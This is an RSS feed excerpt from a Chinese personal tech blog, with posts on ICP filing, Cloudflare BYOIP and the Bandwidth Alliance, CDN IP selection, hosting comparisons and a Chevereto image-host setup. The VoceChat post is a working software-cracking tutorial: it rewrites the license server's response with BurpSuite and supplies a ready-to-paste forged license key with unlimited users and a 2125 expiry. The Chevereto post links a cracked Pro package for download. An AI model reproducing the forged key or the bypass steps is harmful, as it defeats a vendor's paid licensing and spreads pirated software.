&lt;p&gt;由于本站为静态站若进行备案可以直接使用EdgeOne Page中的中国大陆节点延迟固然会更低但是对比目前的速度收效甚微&lt;/p&gt;
&lt;h1&gt;备案步骤繁琐&lt;/h1&gt;
&lt;p&gt;若进行备案,则需要填写实际运营人相关信息并且需要购买备案码(这是最低成本的备案方式)&lt;/p&gt;
&lt;h1&gt;GFW未对本站进行SNI阻断&lt;/h1&gt;
&lt;p&gt;本站目前并未被GFW阻断。除部分省市防火墙进行非备案域阻断外皆可正常访问&lt;/p&gt;
&lt;h1&gt;泉州等地区用户仅支持访问备案域?&lt;/h1&gt;
&lt;p&gt;本站之前有一个IP站点由于业务服务器1Panel V1升级至V2破坏了原有的CI/CD工作流暂时停用&lt;/p&gt;
&lt;p&gt;后续会进行修复并且重新恢复IP站点的运营&lt;/p&gt;
&lt;p&gt;已恢复 参见&lt;a href=&quot;/about/&quot;&gt;关于&lt;/a&gt;界面&lt;/p&gt;
&lt;h1&gt;后续是否会备案&lt;/h1&gt;
&lt;p&gt;可能。但是不会用做主要业务,更多是提高访问可达性,主站仍为未备案站。&lt;/p&gt;
&lt;p&gt;且如果备案后我需要管理两个内容分支(即无违规内容分支和原分支)我可能会放弃这么做&lt;/p&gt;
</content:encoded></item><item><title>网易云音乐歌曲时间戳获取</title><link>https://blog.acofork.com/posts/wyy-timestrap/</link><guid isPermaLink="true">https://blog.acofork.com/posts/wyy-timestrap/</guid><description>如果你需要歌词时间戳,且歌曲为网易云提供,那么获取它将无比简单</description><pubDate>Sun, 27 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先我们要获取一首歌的ID如果你是App可以点击分享然后 &lt;code&gt;复制链接&lt;/code&gt; 。如果是Web直接复制浏览器地址栏&lt;/p&gt;
&lt;p&gt;你将得到类似这样的URL&lt;/p&gt;
&lt;p&gt;&lt;code&gt;https://music.163.com/#/song?id=29812004&amp;amp;uct2=U2FsdGVkX1+0Ic0zSL7yd7aZMm+xya0r1rUmiRUO5Us=&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;其中的 &lt;code&gt;id=29812004&lt;/code&gt; 中的值就是我们的歌曲ID&lt;/p&gt;
&lt;p&gt;接下来拼接URL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://music.163.com/api/song/media?id=29812004
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问就得到歌词时间戳啦&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;songStatus&quot;:1,&quot;lyricVersion&quot;:44,&quot;lyric&quot;:&quot;[by:月餖]\n[00:19.30]The clock stopped ticking forever ago\n\n[00:23.300]How long have I been up?\n[00:25.300]I don&apos;t know.\n[00:26.300]I can&apos;t get a grip,\n[00:28.300]But I can&apos;t let go\n[00:30.300]There wasn&apos;t anything\n[00:31.300]To hold onto though...\n[00:33.300]Why can&apos;t I see?\n[00:35.300]Why can&apos;t I see?\n[00:37.300]All the colors that you see?\n[00:40.300]Please, Can I be,\n[00:42.300]Please, Can I be\n[00:44.300]Colorful and free?\n[00:47.300]WHAT THE HELL&apos;S GOING ON?!\n[00:48.300]CAN SOMEONE TELL ME PLEASE--\n[00:50.300]WHY, I&apos;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[00:53.300]I&apos;M black, THEN I&apos;M white!!\n[00:55.300]NO!!!\n[00:56.300]SOMETHING ISN&apos;T RIGHT!!\n[00:57.300]MY ENEMY&apos;S INVISIBLE, I DON&apos;T KNOW HOW TO FIGHT!!\n[01:01.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[01:04.300]WHEN I&apos;M UP AGAINST\n[01:05.300]THE ECHO IN THE MIRROR!!\n[01:08.300]ECHO!!\n[01:14.300]\n[02:23.300]I&apos;m gonna burn my house down,\n[02:27.300]Into an ugly black.\n[02:28.300]I&apos;m gonna run away, Now\n[02:31.300]And never look back.\n[02:32.300]I&apos;m gonna burn my house down,\n[02:34.300]Into an ugly black.\n[02:35.300]I&apos;m gonna run away, Now\n[02:37.300]And never look back.\n[02:39.300]I&apos;m gonna run away down,\n[02:41.300]I&apos;m gonna run away.\n[02:42.300]I&apos;m gonna run away, Now\n[02:44.300]I&apos;m gonna run away\n[02:53.300]I&apos;m gonna burn my house down.\n[02:54.300]And never look back.\n[02:56.300]And never look back.\n[02:58.300]AND NEVER LOOK BACK!!\n[02:59.300]WHAT THE HELL&apos;S GOING ON?!\n[03:01.300]CAN SOMEONE TELL ME PLEASE--\n[03:03.300]WHY, I&apos;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:06.300]I&apos;M black, THEN I&apos;M white!!\n[03:08.300]NO!!!\n[03:08.300]SOMETHING ISN&apos;T RIGHT!!\n[03:10.300]MY ENEMY&apos;S INVISIBLE, I DON&apos;T KNOW HOW TO FIGHT!!\n[03:13.300]WHAT THE HELL&apos;S GOING ON?!\n[03:15.300]CAN SOMEONE TELL ME PLEASE--\n[03:17.300]WHY, I&apos;M SWITCHING FASTER THAN THE CHANNELS ON TV!!\n[03:20.300]I&apos;M black, THEN I&apos;M white!!\n[03:21.300]NO!!!\n[03:22.300]SOMETHING ISN&apos;T RIGHT!!\n[03:23.300]MY ENEMY&apos;S INVISIBLE, I DON&apos;T KNOW HOW TO FIGHT!!\n[03:27.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:31.300]WHEN I&apos;M UP AGAINST\n[03:32.300]THE ECHO IN THE MIRROR!!\n[03:34.300]THE TREMBLING FEAR IS MORE THAN I CAN TAKE,\n[03:37.300]WHEN I&apos;M UP AGAINST\n[03:39.300]THE ECHO IN THE MIRROR!!&quot;,&quot;code&quot;:200}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/4216b634-16a4-434a-9ea7-cf8170805437.CJyBe4zS.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录人生中第一次破解软件FKvocechat</title><link>https://blog.acofork.com/posts/fuck-vocechat/</link><guid isPermaLink="true">https://blog.acofork.com/posts/fuck-vocechat/</guid><description>感兴趣的可以先去voce.chat购买一个Pro版本后再阅读此文~本文也是一个使用REST API通信的软件通用的破解教程</description><pubDate>Wed, 23 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前因&lt;/h1&gt;
&lt;p&gt;可以直接看 &lt;a href=&quot;https://info.php.afo.im/index.php/archives/12/&quot;&gt;记录被voce.chat坑了350 - 屮蛋Blog&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;正版激活的原理?&lt;/h1&gt;
&lt;p&gt;一般来说。大部分授权系的软件会将你的授权文件首先经过加密,然后发送到授权服务器,等待授权服务器返回一个正确的状态,然后激活&lt;/p&gt;
&lt;h1&gt;如何伪造这个正确的状态?&lt;/h1&gt;
&lt;p&gt;大部分软件的授权通信是通过后端进行的但是vocechat不一样它在前端🤣我们需要捕获软件向授权服务器发送的授权请求以及授权服务器返回的正确状态&lt;/p&gt;
&lt;p&gt;假如你发送一个有效的许可证,得到 &lt;code&gt;check: true&lt;/code&gt; 这个响应,同时软件本体显示 &lt;code&gt;已激活&lt;/code&gt; 。然后发送一个无效的许可证,得到 &lt;code&gt;check: false&lt;/code&gt; 这个响应,同时软件本体显示 &lt;code&gt;许可证无效&lt;/code&gt; 。那么我们可以非常简单的去破解,只需要让对方服务器无论对软件发送的任意许可证都返回 &lt;code&gt;check: true&lt;/code&gt; 即可。&lt;/p&gt;
&lt;p&gt;这涉及到响应体修改,需要使用第三方软件,推荐 &lt;code&gt;BurpSuite&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上面的情况是一个最简单的授权激活方案。真实情况下可能授权服务器并不会返回一个明确的值,会返回一串密文,然后软件进行解密得到授权可信性信息。如果你使用的软件并未开源,后续的一系列操作就看你造化了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;正片怎么破解VoceChat&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;不需要你有一个正版许可证因为我花350买了😭&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;部署完毕VoceChat后进入授权界面开启浏览器的DevTools如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/df39698c-7a0f-4eda-9b74-47cec05faaf2.QOv5q9ze.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;设置你的 &lt;code&gt;BurpSuite&lt;/code&gt; 软件,全局替换 &lt;code&gt;&quot;sign&quot;: false&lt;/code&gt;&lt;code&gt;&quot;sign&quot;: true&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/5d34cbe2-08e9-40ea-95e4-64c976d5de9b.C_m_LZY3.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击手动更新,上传如下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LkA5K1paaxyiNckLwYxdektr64uk6zFs322ZAXDp4aQWkTNcY9ztKKFBwpPbonS3TeFTnveHi6w5VR1MVLL4WyEw3QTfHuitLcVkQFjYZoiQumdQ4XPTN9Xo5hwdEZwCmb7rSus1Sg51b87HjRFZEGHSYYUoqRZPhte1sqBxXdRqwpvLubkhvH4kPB4PXddcdLj2bmXSF7Ww3UZ3Sp6LvueXGw3GggDkgKDP4C7466VVhX6gPBZnaQNovX2G5ugnuN9B6uUeeg63jDSVFnZRPF1bZUxPM5cqdA6U399x8uzEpamhMTMkT3ZiQmVerjszsr3vB8K5DvwKXYp6qKtuna5MgQMC4oFKMNKCSPg7F4Eox8s61i1yjtE33JgxXqrwqkJYqDfqQv1La5h3mYnu6PLDcmmgSEuUHaetzbcEfRJrzi4KwiZwmy4kX6RjEp12KjEvVdS7uwd8wEYjiohXFPG2WRhLe9Cz2oLpsy15ssa8Y34EUVbABryKiqv6xpdb8ujiiucyvybAtgsurnYv3D8eRGWZyttnBWfcqWnXWFZvFZx4ZtuW6ML7ZEcNpM3qcdW8mU8L7Jg2C1so1dFE2phwtLpFyCNwSK8QbPFwdg3Fr4BbMDE8Yq5UPwAQrMtEcAJ1nQyDTZSJa4n2CTC3Lo48jHdbVWZYTejfD2a4y4sJxwRTZQkgs4Jx3kAeepAM5weLfq9ogBY4VWRwjCuNJyt1GoVRmhRs7ZvqNTdBvhRx8LSo6cKFx6LZWPZP7q5Pefo3qmof9QdTYU6PGWQNXR5fp7vc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后你就能得到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/07686efa-5646-4116-bb96-c2d856b4811e.BrsaMPsu.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;原理剖析&lt;/h1&gt;
&lt;p&gt;VoceChat是前端验证没绷住刚才给你们的内容是一个经过base58编码后的内容解码后为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*,999999,2025-07-16T12:00:03.675696030+00:00,2125-07-16T00:00:00+00:00,266c90ae11f5d0c2f7a42f29108cc4c6480d6c6d16c561adba7d6ff28aab54eaa7236e708efdfd9315a9a88d88709fae5c3029129494d16470121835aca6b9280c41d5c5f73a78d70c8231a8f66b9dbcd513629dd17456d771d2d0caa670208bdcacdf51fca89204b300b35a123fd99978754713e60ec50dcb7ddb5c64e129488250feca1dd52a258bcbf8d6dd8a93601e0f103c8cc457c4da16641777f9d0a440796af0ad32d3551e406b56e129bd40ac19e88423b645e732e991344781a235b7f83a40190c80dbab1ed56259cab296e5ec183228dfd49c0574d1b535b77954542636c0ae5c05e8f542007c608fe0634bcfd8dfabacdf152c006e14c3d30975
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一共有4个字段&lt;/p&gt;
&lt;p&gt;&lt;code&gt;*&lt;/code&gt; 即被授权的域名,这里填 &lt;code&gt;*&lt;/code&gt; 就是所有域名的意思。如果你从官方买还只能绑定一个域名🤣。如果你想伪造的更完美就把 &lt;code&gt;*&lt;/code&gt; 改为你正在用VoceChat的域名即可&lt;/p&gt;
&lt;p&gt;&lt;code&gt;999999&lt;/code&gt; 为用户数限制,前端会显示为 &lt;code&gt;No Limit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;2025-07-16T12:00:03.675696030+00:00&lt;/code&gt; 为授权开始日期&lt;/p&gt;
&lt;p&gt;&lt;code&gt;2125-07-16T00:00:00+00:00&lt;/code&gt; 为授权结束日期&lt;/p&gt;
&lt;p&gt;&lt;code&gt;266c***975&lt;/code&gt; 似乎是一个验证码,类似身份证的最后一位验证位,但是貌似不起作用😂&lt;/p&gt;
&lt;h1&gt;那我花350买的授权谁给我补啊🤣&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/7fd942fe-da57-4496-8b85-e5db6057705b.DVEQAeYI.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>还在用Cloudflare传统优选来看看Cloudflare Byoip</title><link>https://blog.acofork.com/posts/cf-byoip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cf-byoip/</guid><description>Cloudflare Byoip是一些用户将自有IP托管给Cloudflare使其接入Cloudflare全球网络大部分IP质量比官方IP好得多代价是什么呢</description><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;这是什么&lt;/h1&gt;
&lt;p&gt;Cloudflare Byoip即如果用户自己拥有一个IP、IP段可以将其托管给Cloudflare并使其受益于Cloudflare全球网络的加速与安全&lt;/p&gt;
&lt;p&gt;人话讲就是有一些IP不直接隶属于Cloudflare但是我们CNAME到这个IP后仍然可以正常访问到我们部署在Cloudflare上的服务。这些IP可能并不是Anycast但是国内延迟可能会明显优于Cloudflare的官方IP段&lt;/p&gt;
&lt;h1&gt;如何找到Cloudflare Byoip&lt;/h1&gt;
&lt;p&gt;可以前往 &lt;a href=&quot;https://ipregistry.co/AS209242#ranges&quot;&gt;AS209242 Cloudflare London, LLC details | Ipregistry&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;尝试使用ITDog强制绑定IP访问你的Cloudflare服务不返回403即可&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我这里返回404是正常的因为 r2.afo.im 直接连接到Cloudflare R2对象存储直接访问就是404&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/838f685e-3913-4b21-995e-5ee149f4bffa.C6rz-Z-Q.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要注意有一些Byoip可能会强制跳转到它自己的网站。需要查看ITDog的测试日志是否有重定向别让你的网站成为他人的引流站&lt;/p&gt;
&lt;h1&gt;可以长久使用吗?&lt;/h1&gt;
&lt;p&gt;这些Byoip固然比Cloudflare官方IP段质量更好但如果你真的要用请设置好一个机器定时筛选不可用的IP以及添加一些Cloudflare官方IP段防止您的服务宕机&lt;/p&gt;
</content:encoded></item><item><title>国内对象存储免流量费Cloudflare带宽联盟究竟是什么</title><link>https://blog.acofork.com/posts/cloudflare-bandwidth-alliance/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cloudflare-bandwidth-alliance/</guid><description>Cloudflare带宽联盟是一个多云服务商联合构建的服务体系在指定的云服务商中如果流量通过Cloudflare路由则不收取流量费用用户仅需要支付存储费用</description><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;这是什么&lt;/h1&gt;
&lt;p&gt;Cloudflare带宽联盟Bandwidth Alliance 由一群具有前瞻性思维的云服务和网络公司组成,致力于为共同客户降低或免除数据传输(带宽)费用。&lt;/p&gt;
&lt;p&gt;人话你买的阿里云OSS腾讯云COS套上CF就可以免流量费&lt;/p&gt;
&lt;h1&gt;具体哪些服务支持免流量费?&lt;/h1&gt;
&lt;p&gt;可以前往 &lt;a href=&quot;https://www.cloudflare.com/zh-cn/bandwidth-alliance/&quot;&gt;Cloudflare云服务_数据传输_高速云数据传输服务_|Cloudflare中国官网 | Cloudflare&lt;/a&gt; 查看&lt;/p&gt;
&lt;p&gt;截止到文章发布日,这些服务支持&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e04c6bee-efc2-4998-83aa-aeacc80e6908.C_pNwk-Y.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里可以看到如果您每月需要传输1TB的流量Cloudflare将为您每月节省如此多的美刀&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/3ac81964-bb93-4528-921f-d801a66cb72d.BHBgCAWF.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;如何使用?&lt;/h1&gt;
&lt;p&gt;假如您有一个阿里云OSS实例正常来说如果您需要绑定自定义域名需要CNAME到阿里云的Endpoint如果您恰好使用Cloudflare NS服务器托管您的域名只需要打开小黄云即可。&lt;/p&gt;
&lt;p&gt;Cloudflare将托管您的阿里云OSS流量从Cloudflare出口的流量将不收取流量费用&lt;/p&gt;
&lt;p&gt;基于阿里云5G内存储费用免费的政策您可以白嫖5G的对象存储&lt;/p&gt;
&lt;h1&gt;注意事项&lt;/h1&gt;
&lt;p&gt;永远不要泄露您的源站也就是上文所说的阿里云OSS Endpoint如果有人发现了您的源站这些流量不从Cloudflare出口您将会被收取费用&lt;/p&gt;
&lt;p&gt;当然,大部分对象存储服务商支持配置私有访问,详细规则和使用方法请咨询各方客服&lt;/p&gt;
</content:encoded></item><item><title>都5202年了还有人不会自建自己的Cloudflare/EdgeOne等各种CDN的优选</title><link>https://blog.acofork.com/posts/self-host-fastip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/self-host-fastip/</guid><description>自建各大CDN服务的优选域名非常简单只需要先这样再这样...但是踩坑的地方也不少...</description><pubDate>Tue, 22 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;基本思路&lt;/h1&gt;
&lt;p&gt;想要做一个优选域名我们首先需要筛选那些质量好的IP&lt;/p&gt;
&lt;p&gt;筛选到质量好的IP后通过各大云解析DNS厂商更新指定优选域名的DNS解析&lt;/p&gt;
&lt;p&gt;最后,将你的域名投入使用,测试优选后效果&lt;/p&gt;
&lt;h1&gt;如何筛选到质量好的IP&lt;/h1&gt;
&lt;p&gt;假设你要提高国内的访问质量我们肯定需要国内的机子如果自家有NAS就再好不过了&lt;/p&gt;
&lt;p&gt;如果你想要三网都优选那么只有你一台机子是不够的需要同时拥有电信移动联通三网的机子去做IP筛选。如果你要做更高级的地域优选那就...把每个省的三网机子都拿到手?&lt;/p&gt;
&lt;p&gt;有了测试机,接下来我们就需要编写测试脚本&lt;/p&gt;
&lt;p&gt;首先我们要知道一个CDN厂商的IP段是什么这里以Cloudflare为例&lt;/p&gt;
&lt;p&gt;我们搜索 &lt;code&gt;Cloudflare IP段&lt;/code&gt; 即可找到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/9e79e4ab-ce0c-434a-84f7-3b8a9f3a0886.C4NrK1Ck.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对于其他CDN他们可能并没有直接在网页上公开IP你需要自行寻找客服咨询&lt;/p&gt;
&lt;p&gt;我们得到IP段后接下来就是编写实际的测试逻辑&lt;/p&gt;
&lt;p&gt;我这边仅推荐通过Curl+Resolve实现强制绑定IP访问业务域名然后看返回的状态码正不正常。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意这种方案及其考验您的测试机、路由器、ISP、对端服务器的性能&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;但这也是最稳妥的测试方法主播已经见过了太多TCPing 443通https访问418或者ping得通TCPing不通的稀奇古怪CDNIP。请保证您的测试方法筛选到的IP能正常访问到您的访问避免您的服务宕机&lt;/p&gt;
&lt;p&gt;线程不必拉太高针对于Cloudflare这样有 150w IP的CDN我们可以仅测试C段也就是测试完 &lt;code&gt;104.18.91.0&lt;/code&gt; 直接测试 &lt;code&gt;104.18.92.0&lt;/code&gt; 这样可以节省时间只需要测5000多个IP&lt;/p&gt;
&lt;p&gt;最终我们得到了一组优选IP&lt;/p&gt;
&lt;h1&gt;对接华为云云解析DNS&lt;/h1&gt;
&lt;p&gt;为什么推荐华为云?&lt;/p&gt;
&lt;p&gt;无他,因为仅华为云一家支持&lt;strong&gt;单解析单次记录值支持50个IP&lt;/strong&gt;&lt;strong&gt;可以创建多个同名解析&lt;/strong&gt;以及&lt;strong&gt;支持仅缓存DNS解析1sTTL=1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;受益于华为云的这些功能我们个人用户也可以做到一个域名下面绑定几万个IP虽然IP不是越多越好&lt;/p&gt;
&lt;p&gt;推荐使用海外版,&lt;strong&gt;不需要实名认证&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;之后通过API文档自行折腾一下API添加DNS解析即可&lt;/p&gt;
&lt;h1&gt;后期维护&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果你要做三网优选请添加一个默认解析线路,保证您在个别线路宕机时对应线路的用户不会遇到服务宕机&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;每个CDN厂商的IP段可能会不定时变更请勤查多看及时更换失效IP&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果遇到服务异常无法得到优选IP请不要在脚本中编写危险逻辑如删除所有解析。这会导致大批量服务宕机&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;优选并不是主流做法如果您的站点被攻击使用自定义CNAME或者IP会导致您的CDN服务商无法为您进行IP调度高质量IP将被持续攻击您的CDN服务商可能会采取强制措施如&lt;strong&gt;关停您的业务,封禁您的账号&lt;/strong&gt;等操作来隔断对方的攻击。当您认为您的站点被攻击时请及时切换到官方为您分配的CNAME或IP&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>教你搭建Chevereto这个超级强大的图床</title><link>https://blog.acofork.com/posts/chevereto/</link><guid isPermaLink="true">https://blog.acofork.com/posts/chevereto/</guid><description>被宝塔开心版的站长推荐了Chevereto这个图床刚好刚刚嫖了个免费的虚拟主机让我们开始折腾</description><pubDate>Wed, 16 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;视频教程&lt;/h1&gt;
&lt;p&gt;https://b23.tv/E8Z34KM&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;资源: https://r2.2x.nz/chevereto_4.3.6-Pro_unlock.zip (感谢宝塔开心版站长!)&lt;/p&gt;
&lt;p&gt;使用 &lt;strong&gt;PHP 8.1.29 &amp;amp; MySQL 8.0.36&lt;/strong&gt; 创建一个网站然后将我们刚刚下载的ZIP上传到站点根目录并解压&lt;/p&gt;
&lt;p&gt;你就会得到这一坨&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/dcb4d5ec-412f-4008-980b-b4f4ac1bc2d2.CJE4ReQ9.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里开始分支如果你是Apache请什么都不要动它会自动检测 &lt;code&gt;.htaccess&lt;/code&gt; 。如果你是Nginx请配置 &lt;code&gt;nginx.txt&lt;/code&gt; 里面的伪静态规则&lt;/p&gt;
&lt;p&gt;然后根据原 &lt;code&gt;教程.txt&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PHP 需要 8.1 以上
需要以下PHP扩展
fileinfo
imagemagick
exif
如果是宝塔 还得删除 PHP 禁用函数
putenv
proc_open
MYSQL 需要 8.0 以上
伪静态需要使用我提供的 nginx.txt 里面的
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你用的虚拟主机跟博主一样也是ispmanager请这样设置PHP&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e4bc4d2e-fc42-49bb-b161-92e86f0c6d12.DlNIWQXT.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一切就绪访问你的站点进行Chevereto的安装向导&lt;/p&gt;
&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;p&gt;如果出现问题请尝试以管理员身份登录Chevereto在管理员设置 -&amp;gt; 系统中开启调试模式。这样设置后Chevereto在出现错误就会告诉你具体发生了什么问题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/00c8ab83-d41c-4ca3-a14a-4a36f0f77b67.u5byI__4.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果我连系统设置都进不去请自行找你的PHP Error Log来分析问题&lt;/p&gt;
&lt;h1&gt;我搭建好的&lt;/h1&gt;
&lt;p&gt;https://chevereto.php.afo.im/upload&lt;/p&gt;
&lt;p&gt;登录后查看所有图片:&lt;/p&gt;
&lt;p&gt;https://chevereto.php.afo.im/explore/images&lt;/p&gt;
</content:encoded></item><item><title>我用Claude10分钟写了个六子棋...?</title><link>https://blog.acofork.com/posts/sixqi-py/</link><guid isPermaLink="true">https://blog.acofork.com/posts/sixqi-py/</guid><description>本来是不想写这种看起来就很简单的项目的奈何群u苦苦哀求只好实现</description><pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;本来大晚上被干醒了&lt;/p&gt;
&lt;p&gt;准备吃点东西睡回笼觉&lt;/p&gt;
&lt;p&gt;顺便在QQ群吹水&lt;/p&gt;
&lt;p&gt;然后被委托做一个&lt;strong&gt;神经小项目&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/29afe2b7-db53-4707-81ef-173befb84a06.8QCm3oKo.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/f7b3b7b6-a462-4c1a-b8cf-665cc4df824c.CzV9YPIY.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/0d0b13c2-e2d5-4394-b7fd-48af6277869c.BgqisNES.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是就...&lt;/p&gt;
&lt;h1&gt;开整!&lt;/h1&gt;
&lt;p&gt;首先使用最熟悉的Python Flask框架&lt;/p&gt;
&lt;p&gt;然后使用最简单的内存数据库!&lt;/p&gt;
&lt;p&gt;然后开始调教AI&lt;/p&gt;
&lt;p&gt;&lt;s&gt;这里本想用JSON存的但是聪明小AI最终交付的仍然是内存存储&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/1d62004f-ed07-4ced-be59-63bb4dd03b2d.DlALp2Ah.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后就写出来了!(&lt;s&gt;并非总共问了7次&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;上线!&lt;/h1&gt;
&lt;p&gt;现已可在 https://sixqi.afo.im/ 游玩!&lt;/p&gt;
&lt;p&gt;开源: &lt;a href=&quot;https://github.com/afoim/sixqi&quot;&gt;GitHub - afoim/sixqi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/1416208a-b44c-40b7-a1ba-743e8a28d3bc.DW5al-5E.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>N款CDN/静态托管服务商的优缺点比较</title><link>https://blog.acofork.com/posts/static-web/</link><guid isPermaLink="true">https://blog.acofork.com/posts/static-web/</guid><description>Serverless服务有很多静态托管就是重中之重来看看谁最稳定快速</description><pubDate>Mon, 14 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;&lt;a href=&quot;https://www.netlify.com&quot;&gt;Netlify&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;注册门槛高需要使用谷歌邮箱注册。支持IPv6回源。用量限制较宽松仅有带宽和构建时间限制。 &lt;strong&gt;我认为是免费计划里最快的CDN并且限制很少&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;需要注意,构建时间是每月限制。但是流量限制较为宽松&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/282ad19c-f971-4f92-9096-6e75308205c5.Dj4aVBNZ.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;因为节点禁Ping所以这里用Tcping结果展示&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;推荐CNAME&lt;/strong&gt; apex-loadbalancer.netlify.com&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/e11f4d07-4135-411e-943e-cf27690bc9c7.DILmpu3z.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://vercel.com&quot;&gt;Vercel&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;零成本用上。注册无门槛延迟良好。用量限制较严格。仅支持IPv4回源。默认的 &lt;code&gt;*.vercel.app&lt;/code&gt; 在国内会被SNI阻断需要绑定自己的域名&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Vercel每天可以构建100次每次构建时间不得超过45分钟&lt;/p&gt;
&lt;/blockquote&gt;
